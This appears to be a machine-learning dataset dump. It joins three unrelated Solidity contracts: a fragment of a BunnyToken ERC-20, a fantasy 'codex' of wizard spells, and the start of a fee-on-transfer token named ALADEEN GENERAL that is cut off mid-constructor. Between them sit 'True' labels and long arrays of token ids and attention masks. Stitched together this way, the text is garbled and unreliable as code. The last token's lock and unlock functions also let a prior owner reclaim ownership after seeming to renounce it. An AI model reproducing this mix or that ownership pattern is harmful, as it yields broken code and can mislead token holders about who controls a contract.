string public name = "BunnyToken";
string public symbol = "BUNNY";
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = 1000000000 * 10 ** 18;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function BunnyToken(
) public {
totalSupply = 1000000000 * 10 ** 18; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "BunnyToken"; // Set the name for display purposes
symbol = "BUNNY"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
8278,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
1035,
4469,
2850,
2696,
1007,
2270,
1025,
1065,
3206,
16291,
18715,
2368,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1027,
1000,
16291,
18715,
2368,
1000,
1025,
5164,
2270,
6454,
1027,
1000,
16291,
1000,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1027,
6694,
8889,
8889,
8889,
1008,
2184,
1008,
1008,
2324,
1025,
1013,
1013,
2023,
9005,
2019,
9140,
2007,
2035,
5703,
2015,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
1013,
1013,
2023,
19421,
1037,
2270,
2724,
2006,
1996,
3796,
24925,
2078,
2008,
2097,
2025,
8757,
7846,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1013,
2023,
2025,
14144,
7846,
2055,
1996,
3815,
11060,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1008,
1008,
1008,
9530,
3367,
11890,
4263,
3853,
1008,
1008,
3988,
10057,
3206,
2007,
3988,
4425,
19204,
2015,
2000,
1996,
8543,
1997,
1996,
3206,
1008,
1013,
3853,
16291,
18715,
2368,
1006,
1007,
2270,
1063,
21948,
6279,
22086,
1027,
6694,
8889,
8889,
8889,
1008,
2184,
1008,
1008,
2324,
1025,
1013,
1013,
10651,
2561,
4425,
2007,
1996,
26066,
3815,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
1013,
1013,
2507,
1996,
8543,
2035,
3988,
19204,
2015,
2171,
1027,
1000,
16291,
18715,
2368,
1000,
1025,
1013,
1013,
2275,
1996,
2171,
2005,
4653,
5682,
6454,
1027,
1000,
16291,
1000,
1025,
1013,
1013,
2275,
1996,
6454,
2005,
4653,
5682,
1065,
1013,
1008,
1008,
1008,
4722,
4651,
1010,
2069,
2064,
2022,
2170,
2011,
2023,
3206,
1008,
1013,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
4722,
1063,
1013,
1013,
4652,
4651,
2000,
1014,
2595,
2692,
4769,
1012,
2224,
6402,
1006,
1007,
2612,
5478,
1006,
1035,
2000,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1013,
1013,
4638,
2065,
1996,
4604,
2121,
2038,
2438,
5478,
1006,
5703,
11253,
1031,
1035,
2013,
1033,
1028,
1027,
1035,
3643,
1007,
1025,
1013,
1013,
4638,
2005,
2058,
12314,
2015,
5478,
1006,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1035,
3643,
1028,
5703,
11253,
1031,
1035,
2000,
1033,
1007,
1025,
1013,
1013,
3828,
2023,
2005,
2019,
23617,
1999,
1996,
2925,
21318,
3372,
3025,
26657,
2015,
1027,
5703,
11253,
1031,
1035,
2013,
1033,
1009,
5703,
11253,
1031,
1035,
2000,
1033,
1025,
1013,
1013,
4942,
6494,
6593,
2013,
1996,
4604,
2121,
5703,
11253,
1031,
1035,
2013,
1033,
1011,
1027,
1035,
3643,
1025,
1013,
1013,
5587,
1996,
2168,
2000,
1996,
7799,
5703,
11253,
1031,
1035,
2000,
1033,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract codex {
string constant index = "Spells";
string constant class = "Wizard";
string constant school = "Necromancy";
uint constant level = 0;
function disrupt_undead() external pure returns (
string memory name,
bool verbal,
bool somatic,
bool focus,
uint xp_cost,
uint time,
uint range,
uint duration,
uint saving_throw_type,
uint saving_throw_effect,
bool spell_resistance,
string memory description
) {
name = "Disrupt Undead";
verbal = true;
somatic = true;
focus = false;
xp_cost = 0;
time = 1;
range = 2;
duration = 0;
saving_throw_type = 0;
saving_throw_effect = 0;
spell_resistance = true;
description = "You direct a ray of positive energy. You must make a ranged touch attack to hit, and if the ray hits an undead creature, it deals 1d6 points of damage to it.";
}
function touch_of_fatigue() external pure returns (
string memory name,
bool verbal,
bool somatic,
bool focus,
uint xp_cost,
uint time,
uint range,
uint duration,
uint saving_throw_type,
uint saving_throw_effect,
bool spell_resistance,
string memory description
) {
name = "Touch of Fatigue";
verbal = true;
somatic = true;
focus = false;
xp_cost = 0;
time = 1;
range = 1;
duration = 1;
saving_throw_type = 1;
saving_throw_effect = 3;
spell_resistance = true;
description = "You channel negative energy through your touch, fatiguing the target. You must succeed on a touch attack to strike a target. The subject is immediately fatigued for the spells duration. This spell has no effect on a creature that is already fatigued. Unlike with normal fatigue, the effect ends as soon as the spells duration expires.";
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1021,
1025,
3206,
15763,
1063,
5164,
5377,
5950,
1027,
1000,
11750,
1000,
1025,
5164,
5377,
2465,
1027,
1000,
10276,
1000,
1025,
5164,
5377,
2082,
1027,
1000,
26785,
21716,
11656,
1000,
1025,
21318,
3372,
5377,
2504,
1027,
1014,
1025,
3853,
23217,
1035,
17315,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
2171,
1010,
22017,
2140,
12064,
1010,
22017,
2140,
2061,
12644,
1010,
22017,
2140,
3579,
1010,
21318,
3372,
26726,
1035,
3465,
1010,
21318,
3372,
2051,
1010,
21318,
3372,
2846,
1010,
21318,
3372,
9367,
1010,
21318,
3372,
7494,
1035,
5466,
1035,
2828,
1010,
21318,
3372,
7494,
1035,
5466,
1035,
3466,
1010,
22017,
2140,
6297,
1035,
5012,
1010,
5164,
3638,
6412,
1007,
1063,
2171,
1027,
1000,
23217,
17315,
1000,
1025,
12064,
1027,
2995,
1025,
2061,
12644,
1027,
2995,
1025,
3579,
1027,
6270,
1025,
26726,
1035,
3465,
1027,
1014,
1025,
2051,
1027,
1015,
1025,
2846,
1027,
1016,
1025,
9367,
1027,
1014,
1025,
7494,
1035,
5466,
1035,
2828,
1027,
1014,
1025,
7494,
1035,
5466,
1035,
3466,
1027,
1014,
1025,
6297,
1035,
5012,
1027,
2995,
1025,
6412,
1027,
1000,
2017,
3622,
1037,
4097,
1997,
3893,
2943,
1012,
2017,
2442,
2191,
1037,
15844,
3543,
2886,
2000,
2718,
1010,
1998,
2065,
1996,
4097,
4978,
2019,
17315,
6492,
1010,
2009,
9144,
1015,
2094,
2575,
2685,
1997,
4053,
2000,
2009,
1012,
1000,
1025,
1065,
3853,
3543,
1035,
1997,
1035,
16342,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
2171,
1010,
22017,
2140,
12064,
1010,
22017,
2140,
2061,
12644,
1010,
22017,
2140,
3579,
1010,
21318,
3372,
26726,
1035,
3465,
1010,
21318,
3372,
2051,
1010,
21318,
3372,
2846,
1010,
21318,
3372,
9367,
1010,
21318,
3372,
7494,
1035,
5466,
1035,
2828,
1010,
21318,
3372,
7494,
1035,
5466,
1035,
3466,
1010,
22017,
2140,
6297,
1035,
5012,
1010,
5164,
3638,
6412,
1007,
1063,
2171,
1027,
1000,
3543,
1997,
16342,
1000,
1025,
12064,
1027,
2995,
1025,
2061,
12644,
1027,
2995,
1025,
3579,
1027,
6270,
1025,
26726,
1035,
3465,
1027,
1014,
1025,
2051,
1027,
1015,
1025,
2846,
1027,
1015,
1025,
9367,
1027,
1015,
1025,
7494,
1035,
5466,
1035,
2828,
1027,
1015,
1025,
7494,
1035,
5466,
1035,
3466,
1027,
1017,
1025,
6297,
1035,
5012,
1027,
2995,
1025,
6412,
1027,
1000,
2017,
3149,
4997,
2943,
2083,
2115,
3543,
1010,
6638,
8004,
25165,
1996,
4539,
1012,
2017,
2442,
9510,
2006,
1037,
3543,
2886,
2000,
4894,
1037,
4539,
1012,
1996,
3395,
2003,
3202,
16342,
2094,
2005,
1996,
11750,
9367,
1012,
2023,
6297,
2038,
2053,
3466,
2006,
1037,
6492,
2008,
2003,
2525,
16342,
2094,
1012,
4406,
2007,
3671,
16342,
1010,
1996,
3466,
4515,
2004,
2574,
2004,
1996,
11750,
9367,
4654,
20781,
2015,
1012,
1000,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ADT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = " ALADEEN GENERAL ";
string private _symbol = " ADT ";
uint8 private _decimals = 9;
uint256 public _taxFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 5000000 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
